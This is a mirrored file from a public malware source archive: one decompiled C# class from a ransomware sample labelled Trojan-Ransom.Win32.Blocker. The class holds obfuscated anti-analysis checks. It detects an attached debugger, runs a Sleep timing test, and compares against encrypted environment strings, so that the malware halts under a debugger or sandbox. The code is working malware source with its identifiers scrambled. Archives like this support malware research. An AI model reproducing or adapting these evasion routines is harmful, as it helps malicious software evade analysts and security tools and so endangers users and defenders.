mirror of
https://github.com/vxunderground/MalwareSourceCode.git
synced 2024-12-22 19:36:11 +00:00
f2ac1ece55
add
185 lines
6.3 KiB
C#
185 lines
6.3 KiB
C#
// Decompiled with JetBrains decompiler
|
|
// Type: A.c6c454dac7269c067c2acbc6d3596af91
|
|
// Assembly: Sharl, Version=0.0.0.0, Culture=neutral, PublicKeyToken=null
|
|
// MVID: F11368F2-49D5-4A01-9284-978C5FDD6F03
|
|
// Assembly location: C:\Users\Administrateur\Downloads\Virusshare.00004-msil\Trojan-Ransom.Win32.Blocker.hejd-d602e69d871803e54a9edd4b87d241c904ab59014cfd496853fc6cc688c16570.exe
|
|
|
|
using System;
|
|
using System.Diagnostics;
|
|
using System.Threading;
|
|
|
|
namespace A
|
|
{
|
|
internal class c6c454dac7269c067c2acbc6d3596af91
|
|
{
|
|
public bool cf207f3ae43b7e20165972765acd61caf()
|
|
{
|
|
if (c57ac7140997a29abffbea04a04f33fc6.c5a948dc66b99c61ab7c2f0ddb4575bab.cee85921584204e889e611a07cd58ecbe)
|
|
{
|
|
try
|
|
{
|
|
if (Debugger.IsAttached)
|
|
return false;
|
|
}
|
|
catch
|
|
{
|
|
}
|
|
}
|
|
if (c57ac7140997a29abffbea04a04f33fc6.c5a948dc66b99c61ab7c2f0ddb4575bab.c2792dd7fd2c0d285a78c0e499a018122)
|
|
{
|
|
try
|
|
{
|
|
long ticks = DateTime.Now.Ticks;
|
|
Thread.Sleep(10);
|
|
if (DateTime.Now.Ticks - ticks < 10L)
|
|
return false;
|
|
}
|
|
catch
|
|
{
|
|
}
|
|
}
|
|
if (c57ac7140997a29abffbea04a04f33fc6.c5a948dc66b99c61ab7c2f0ddb4575bab.c9a92257b6e60ece44ea61306d2e6b428)
|
|
{
|
|
try
|
|
{
|
|
if (c57ac7140997a29abffbea04a04f33fc6.c4a101047227d6769ba130216f202ea07.c8aea4603f5edff1781d66fc7c389635e(c25810691943c3772c89bee5b3c190ee0.c67f77785e5df280621394f94fff2ffdf(1)))
|
|
return false;
|
|
}
|
|
catch
|
|
{
|
|
}
|
|
}
|
|
if (c57ac7140997a29abffbea04a04f33fc6.c5a948dc66b99c61ab7c2f0ddb4575bab.c42ca1abba7c3eb2e77675d1b04109855)
|
|
{
|
|
try
|
|
{
|
|
if (c57ac7140997a29abffbea04a04f33fc6.c4a101047227d6769ba130216f202ea07.c8aea4603f5edff1781d66fc7c389635e(c25810691943c3772c89bee5b3c190ee0.c67f77785e5df280621394f94fff2ffdf(16)))
|
|
return false;
|
|
}
|
|
catch
|
|
{
|
|
}
|
|
}
|
|
if (c57ac7140997a29abffbea04a04f33fc6.c5a948dc66b99c61ab7c2f0ddb4575bab.c30a3cccc21356bfeddb6e1403a422049)
|
|
{
|
|
try
|
|
{
|
|
if (c57ac7140997a29abffbea04a04f33fc6.c4a101047227d6769ba130216f202ea07.c8aea4603f5edff1781d66fc7c389635e(c25810691943c3772c89bee5b3c190ee0.c67f77785e5df280621394f94fff2ffdf(31)))
|
|
return false;
|
|
}
|
|
catch
|
|
{
|
|
}
|
|
}
|
|
if (c57ac7140997a29abffbea04a04f33fc6.c5a948dc66b99c61ab7c2f0ddb4575bab.cc4e05926d74457f5cadf3b3016466128)
|
|
{
|
|
try
|
|
{
|
|
if (c57ac7140997a29abffbea04a04f33fc6.c4a101047227d6769ba130216f202ea07.c8aea4603f5edff1781d66fc7c389635e(c25810691943c3772c89bee5b3c190ee0.c67f77785e5df280621394f94fff2ffdf(46)))
|
|
return false;
|
|
}
|
|
catch
|
|
{
|
|
}
|
|
}
|
|
if (c57ac7140997a29abffbea04a04f33fc6.c5a948dc66b99c61ab7c2f0ddb4575bab.c7f5f1982284129a8f8b31dccfdfd611d)
|
|
{
|
|
try
|
|
{
|
|
if (c57ac7140997a29abffbea04a04f33fc6.c4a101047227d6769ba130216f202ea07.c8aea4603f5edff1781d66fc7c389635e(c25810691943c3772c89bee5b3c190ee0.c67f77785e5df280621394f94fff2ffdf(59)))
|
|
return false;
|
|
}
|
|
catch
|
|
{
|
|
}
|
|
}
|
|
if (c57ac7140997a29abffbea04a04f33fc6.c5a948dc66b99c61ab7c2f0ddb4575bab.c16ce46a32b47b87a25752f953db57737)
|
|
{
|
|
try
|
|
{
|
|
if (c57ac7140997a29abffbea04a04f33fc6.c4a101047227d6769ba130216f202ea07.c8aea4603f5edff1781d66fc7c389635e(c25810691943c3772c89bee5b3c190ee0.c67f77785e5df280621394f94fff2ffdf(68)))
|
|
return false;
|
|
}
|
|
catch
|
|
{
|
|
}
|
|
}
|
|
if (c57ac7140997a29abffbea04a04f33fc6.c5a948dc66b99c61ab7c2f0ddb4575bab.c95571c46a38d4a535991b6bdfeb2551e)
|
|
{
|
|
try
|
|
{
|
|
if (c57ac7140997a29abffbea04a04f33fc6.c4a101047227d6769ba130216f202ea07.c8aea4603f5edff1781d66fc7c389635e(c25810691943c3772c89bee5b3c190ee0.c67f77785e5df280621394f94fff2ffdf(81)))
|
|
return false;
|
|
}
|
|
catch
|
|
{
|
|
}
|
|
}
|
|
if (c57ac7140997a29abffbea04a04f33fc6.c5a948dc66b99c61ab7c2f0ddb4575bab.cbccd1ae7ab19514f4d7ff49c6066ef54)
|
|
{
|
|
try
|
|
{
|
|
if (c57ac7140997a29abffbea04a04f33fc6.c4a101047227d6769ba130216f202ea07.c8aea4603f5edff1781d66fc7c389635e(c25810691943c3772c89bee5b3c190ee0.c67f77785e5df280621394f94fff2ffdf(96)))
|
|
return false;
|
|
}
|
|
catch
|
|
{
|
|
}
|
|
}
|
|
if (c57ac7140997a29abffbea04a04f33fc6.c5a948dc66b99c61ab7c2f0ddb4575bab.c425aa3d25ab0dba5645b56912ea4c4d2)
|
|
{
|
|
try
|
|
{
|
|
if (c57ac7140997a29abffbea04a04f33fc6.c906da2a7a2d79845c79ec2f4265c6c3c.ca6a4dd6f6e974a349cf2f38f0541f742() == c25810691943c3772c89bee5b3c190ee0.c67f77785e5df280621394f94fff2ffdf(115))
|
|
return false;
|
|
}
|
|
catch
|
|
{
|
|
}
|
|
}
|
|
if (c57ac7140997a29abffbea04a04f33fc6.c5a948dc66b99c61ab7c2f0ddb4575bab.c866ddb199211ac10f9ce85f741267ca5)
|
|
{
|
|
try
|
|
{
|
|
if (c57ac7140997a29abffbea04a04f33fc6.c906da2a7a2d79845c79ec2f4265c6c3c.ca6a4dd6f6e974a349cf2f38f0541f742() == c25810691943c3772c89bee5b3c190ee0.c67f77785e5df280621394f94fff2ffdf(162))
|
|
return false;
|
|
}
|
|
catch
|
|
{
|
|
}
|
|
}
|
|
if (c57ac7140997a29abffbea04a04f33fc6.c5a948dc66b99c61ab7c2f0ddb4575bab.cf18b158d9e992664f5c41c68fd861625)
|
|
{
|
|
try
|
|
{
|
|
if (c57ac7140997a29abffbea04a04f33fc6.c906da2a7a2d79845c79ec2f4265c6c3c.ca6a4dd6f6e974a349cf2f38f0541f742() == c25810691943c3772c89bee5b3c190ee0.c67f77785e5df280621394f94fff2ffdf(191))
|
|
return false;
|
|
}
|
|
catch
|
|
{
|
|
}
|
|
}
|
|
if (c57ac7140997a29abffbea04a04f33fc6.c5a948dc66b99c61ab7c2f0ddb4575bab.cee81352979639fa55df6e014bfaad5e8)
|
|
{
|
|
try
|
|
{
|
|
string[] strArray = new string[2]
|
|
{
|
|
c25810691943c3772c89bee5b3c190ee0.c67f77785e5df280621394f94fff2ffdf(246),
|
|
c25810691943c3772c89bee5b3c190ee0.c67f77785e5df280621394f94fff2ffdf(297)
|
|
};
|
|
foreach (string str in strArray)
|
|
{
|
|
if (c57ac7140997a29abffbea04a04f33fc6.c906da2a7a2d79845c79ec2f4265c6c3c.ca6a4dd6f6e974a349cf2f38f0541f742() == str)
|
|
return false;
|
|
}
|
|
}
|
|
catch
|
|
{
|
|
}
|
|
}
|
|
return true;
|
|
}
|
|
}
|
|
}
|